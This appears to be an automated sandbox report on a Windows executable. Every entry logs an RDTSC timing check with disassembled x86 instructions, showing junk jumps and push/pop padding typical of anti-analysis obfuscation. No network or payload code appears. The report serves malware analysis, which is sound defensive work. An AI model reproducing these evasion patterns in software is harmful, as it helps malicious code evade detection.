Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50D01 second address: 4D50D39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F7F9153F886h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7F9153F87Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50D39 second address: 4D50D4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50DDC second address: 4D50E2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F80039AE136h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F7F9153F87Ch 0x00000016 sub eax, 4F5D1938h 0x0000001c jmp 00007F7F9153F87Bh 0x00000021 popfd 0x00000022 mov bx, si 0x00000025 popad 0x00000026 mov eax, dword ptr [ebp-04h] 0x00000029 pushad 0x0000002a mov dx, ax 0x0000002d push eax 0x0000002e push edx 0x0000002f mov dl, ch 0x00000031 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50E2E second address: 4D50E8F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7F91348E2Fh 0x00000008 adc ax, 43AEh 0x0000000d jmp 00007F7F91348E39h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov dword ptr [esi+08h], eax 0x00000019 jmp 00007F7F91348E2Eh 0x0000001e lea eax, dword ptr [ebx+70h] 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F7F91348E37h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50E8F second address: 4D50EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F9153F884h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50EA7 second address: 4D50EAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50EAB second address: 4D50EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000001h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50EBB second address: 4D50EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50EC1 second address: 4D50EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50EC5 second address: 4D50F65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F7F91348E30h 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F7F91348E31h 0x00000019 and eax, 739596B6h 0x0000001f jmp 00007F7F91348E31h 0x00000024 popfd 0x00000025 mov ebx, esi 0x00000027 popad 0x00000028 nop 0x00000029 jmp 00007F7F91348E2Ah 0x0000002e lea eax, dword ptr [ebp-18h] 0x00000031 jmp 00007F7F91348E30h 0x00000036 nop 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a movsx edi, cx 0x0000003d pushfd 0x0000003e jmp 00007F7F91348E36h 0x00000043 adc ax, 1368h 0x00000048 jmp 00007F7F91348E2Bh 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50F65 second address: 4D50F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F9153F884h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50F7D second address: 4D50FBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F7F91348E39h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov eax, ebx 0x00000017 call 00007F7F91348E2Fh 0x0000001c pop eax 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D50FEE second address: 4D5102D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, eax 0x0000000b jmp 00007F7F9153F87Bh 0x00000010 test edi, edi 0x00000012 jmp 00007F7F9153F886h 0x00000017 js 00007F80039ADF09h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov ax, di 0x00000023 mov di, 95BCh 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5102D second address: 4D51074 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp-14h] 0x0000000c jmp 00007F7F91348E30h 0x00000011 mov ecx, esi 0x00000013 jmp 00007F7F91348E30h 0x00000018 mov dword ptr [esi+0Ch], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov eax, edi 0x00000020 movsx edx, cx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51074 second address: 4D510C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, 772406ECh 0x0000000e jmp 00007F7F9153F886h 0x00000013 sub eax, eax 0x00000015 pushad 0x00000016 mov esi, edx 0x00000018 popad 0x00000019 lock cmpxchg dword ptr [edx], ecx 0x0000001d pushad 0x0000001e mov esi, edi 0x00000020 call 00007F7F9153F887h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D510C4 second address: 4D51101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edi 0x00000007 jmp 00007F7F91348E35h 0x0000000c test eax, eax 0x0000000e jmp 00007F7F91348E2Eh 0x00000013 jne 00007F80037B7412h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov dx, 76D0h 0x00000020 movsx edi, si 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51101 second address: 4D51113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F9153F87Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51113 second address: 4D51117 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51117 second address: 4D511AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F7F9153F87Dh 0x00000012 or cx, 3606h 0x00000017 jmp 00007F7F9153F881h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F7F9153F880h 0x00000023 adc esi, 726024A8h 0x00000029 jmp 00007F7F9153F87Bh 0x0000002e popfd 0x0000002f popad 0x00000030 mov eax, dword ptr [esi] 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F7F9153F884h 0x00000039 and cx, 1708h 0x0000003e jmp 00007F7F9153F87Bh 0x00000043 popfd 0x00000044 mov ah, C9h 0x00000046 popad 0x00000047 mov dword ptr [edx], eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F7F9153F87Dh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D511AB second address: 4D511B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D511B1 second address: 4D511B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D511B6 second address: 4D51206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F7F91348E38h 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esi+04h] 0x00000010 pushad 0x00000011 call 00007F7F91348E37h 0x00000016 mov ah, 44h 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F7F91348E30h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51206 second address: 4D51251 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7F9153F882h 0x00000008 xor ax, C088h 0x0000000d jmp 00007F7F9153F87Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov dword ptr [edx+04h], eax 0x00000019 jmp 00007F7F9153F886h 0x0000001e mov eax, dword ptr [esi+08h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51251 second address: 4D5126E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5126E second address: 4D512F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7F9153F887h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F7F9153F889h 0x0000000f xor si, 8916h 0x00000014 jmp 00007F7F9153F881h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov dword ptr [edx+08h], eax 0x00000020 jmp 00007F7F9153F87Eh 0x00000025 mov eax, dword ptr [esi+0Ch] 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b pushfd 0x0000002c jmp 00007F7F9153F87Ch 0x00000031 xor eax, 01348C68h 0x00000037 jmp 00007F7F9153F87Bh 0x0000003c popfd 0x0000003d rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D512F3 second address: 4D513A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F7F91348E32h 0x0000000f and ecx, 7CBB09F8h 0x00000015 jmp 00007F7F91348E2Bh 0x0000001a popfd 0x0000001b popad 0x0000001c mov dword ptr [edx+0Ch], eax 0x0000001f pushad 0x00000020 mov di, 7FE6h 0x00000024 popad 0x00000025 mov eax, dword ptr [esi+10h] 0x00000028 jmp 00007F7F91348E2Dh 0x0000002d mov dword ptr [edx+10h], eax 0x00000030 pushad 0x00000031 movzx ecx, di 0x00000034 pushfd 0x00000035 jmp 00007F7F91348E39h 0x0000003a adc ah, FFFFFFF6h 0x0000003d jmp 00007F7F91348E31h 0x00000042 popfd 0x00000043 popad 0x00000044 mov eax, dword ptr [esi+14h] 0x00000047 jmp 00007F7F91348E2Eh 0x0000004c mov dword ptr [edx+14h], eax 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F7F91348E2Ah 0x00000058 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D513A7 second address: 4D513AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D513AB second address: 4D513B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D513B1 second address: 4D51409 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7F9153F87Ch 0x00000009 or esi, 12A69378h 0x0000000f jmp 00007F7F9153F87Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F7F9153F888h 0x0000001b adc ecx, 75312DD8h 0x00000021 jmp 00007F7F9153F87Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a mov eax, dword ptr [esi+18h] 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 mov ebx, eax 0x00000032 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51409 second address: 4D5142D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dx, si 0x00000009 popad 0x0000000a mov dword ptr [edx+18h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7F91348E35h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5142D second address: 4D51434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51434 second address: 4D5147B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esi+1Ch] 0x0000000a pushad 0x0000000b movsx ebx, cx 0x0000000e pushfd 0x0000000f jmp 00007F7F91348E2Eh 0x00000014 sub al, FFFFFFC8h 0x00000017 jmp 00007F7F91348E2Bh 0x0000001c popfd 0x0000001d popad 0x0000001e mov dword ptr [edx+1Ch], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F7F91348E35h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5147B second address: 4D514D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 movsx edi, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+20h] 0x0000000e pushad 0x0000000f push esi 0x00000010 call 00007F7F9153F887h 0x00000015 pop ecx 0x00000016 pop edi 0x00000017 pushfd 0x00000018 jmp 00007F7F9153F886h 0x0000001d xor al, FFFFFFE8h 0x00000020 jmp 00007F7F9153F87Bh 0x00000025 popfd 0x00000026 popad 0x00000027 mov dword ptr [edx+20h], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov ecx, 0EBEA8ADh 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D514D7 second address: 4D514DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D514DD second address: 4D514E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D514E1 second address: 4D514FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+24h] 0x0000000b pushad 0x0000000c mov ax, dx 0x0000000f mov si, dx 0x00000012 popad 0x00000013 mov dword ptr [edx+24h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D514FD second address: 4D51503 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51503 second address: 4D5153F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+28h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7F91348E38h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5153F second address: 4D51543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51543 second address: 4D51549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51549 second address: 4D5159C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 53B24313h 0x00000008 mov ax, FD6Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [edx+28h], eax 0x00000012 pushad 0x00000013 mov ax, 2B67h 0x00000017 jmp 00007F7F9153F87Ch 0x0000001c popad 0x0000001d mov ecx, dword ptr [esi+2Ch] 0x00000020 jmp 00007F7F9153F880h 0x00000025 mov dword ptr [edx+2Ch], ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F7F9153F887h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5159C second address: 4D515B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F91348E34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D515B4 second address: 4D51618 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ax, word ptr [esi+30h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F7F9153F87Dh 0x00000013 or ah, 00000046h 0x00000016 jmp 00007F7F9153F881h 0x0000001b popfd 0x0000001c popad 0x0000001d mov word ptr [edx+30h], ax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 pop ebx 0x00000026 pushfd 0x00000027 jmp 00007F7F9153F882h 0x0000002c jmp 00007F7F9153F885h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51618 second address: 4D5161E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5161E second address: 4D516FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ax, word ptr [esi+32h] 0x0000000f jmp 00007F7F9153F886h 0x00000014 mov word ptr [edx+32h], ax 0x00000018 jmp 00007F7F9153F880h 0x0000001d mov eax, dword ptr [esi+34h] 0x00000020 pushad 0x00000021 mov bx, ax 0x00000024 push esi 0x00000025 mov ebx, 791D394Ch 0x0000002a pop edi 0x0000002b popad 0x0000002c mov dword ptr [edx+34h], eax 0x0000002f jmp 00007F7F9153F880h 0x00000034 test ecx, 00000700h 0x0000003a jmp 00007F7F9153F880h 0x0000003f jne 00007F80039AD8F0h 0x00000045 jmp 00007F7F9153F880h 0x0000004a or dword ptr [edx+38h], FFFFFFFFh 0x0000004e jmp 00007F7F9153F880h 0x00000053 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000057 pushad 0x00000058 pushfd 0x00000059 jmp 00007F7F9153F87Eh 0x0000005e or esi, 7F6B5A28h 0x00000064 jmp 00007F7F9153F87Bh 0x00000069 popfd 0x0000006a mov di, si 0x0000006d popad 0x0000006e or dword ptr [edx+40h], FFFFFFFFh 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D516FB second address: 4D516FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D516FF second address: 4D51705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51705 second address: 4D51742 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 mov esi, edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c jmp 00007F7F91348E33h 0x00000011 pop ebx 0x00000012 jmp 00007F7F91348E36h 0x00000017 leave 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51742 second address: 4D51746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51746 second address: 4D5174A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D5174A second address: 4D51750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4D51750 second address: 4DA001B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 call 00007F7F91348E2Eh 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f retn 0004h 0x00000012 nop 0x00000013 push FFFFFFFEh 0x00000015 pop edi 0x00000016 mov dword ptr [ebp-04h], edi 0x00000019 mov eax, 00005A4Dh 0x0000001e cmp word ptr [00400000h], ax 0x00000025 jne 00007F7F91348E5Ah 0x00000027 mov eax, dword ptr [0040003Ch] 0x0000002c cmp dword ptr [eax+00400000h], 00004550h 0x00000036 jne 00007F7F91348E49h 0x00000038 mov ecx, 0000010Bh 0x0000003d cmp word ptr [eax+00400018h], cx 0x00000044 jne 00007F7F91348E3Bh 0x00000046 cmp dword ptr [eax+00400074h], 0Eh 0x0000004d jbe 00007F7F91348E32h 0x0000004f xor ecx, ecx 0x00000051 cmp dword ptr [eax+004000E8h], esi 0x00000057 setne cl 0x0000005a mov dword ptr [ebp-1Ch], ecx 0x0000005d jmp 00007F7F91348E25h 0x0000005f xor ebx, ebx 0x00000061 inc ebx 0x00000062 push ebx 0x00000063 call 00007F7F9134AF15h 0x00000068 mov edi, edi 0x0000006a push ebp 0x0000006b mov ebp, esp 0x0000006d xor eax, eax 0x0000006f cmp dword ptr [ebp+08h], eax 0x00000072 push 00000000h 0x00000074 sete al 0x00000077 push 00001000h 0x0000007c push eax 0x0000007d call 00007F7F95CE5911h 0x00000082 mov edi, edi 0x00000084 push eax 0x00000085 push edx 0x00000086 jmp 00007F7F91348E37h 0x0000008b rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA001B second address: 4DA0048 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F889h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7F9153F87Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA0048 second address: 4DA004E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA004E second address: 4DA0052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA0052 second address: 4DA0056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA0056 second address: 4DA009D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov edi, ecx 0x0000000c mov edi, esi 0x0000000e popad 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F7F9153F87Fh 0x00000017 sub ch, FFFFFFBEh 0x0000001a jmp 00007F7F9153F889h 0x0000001f popfd 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA009D second address: 4DA00A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA00A1 second address: 4DA00B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F9153F87Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA00B4 second address: 4DA00DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F91348E39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, si 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\3K6rBUOQ2z.exe	RDTSC instruction interceptor: First address: 4DA00DA second address: 4DA00DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
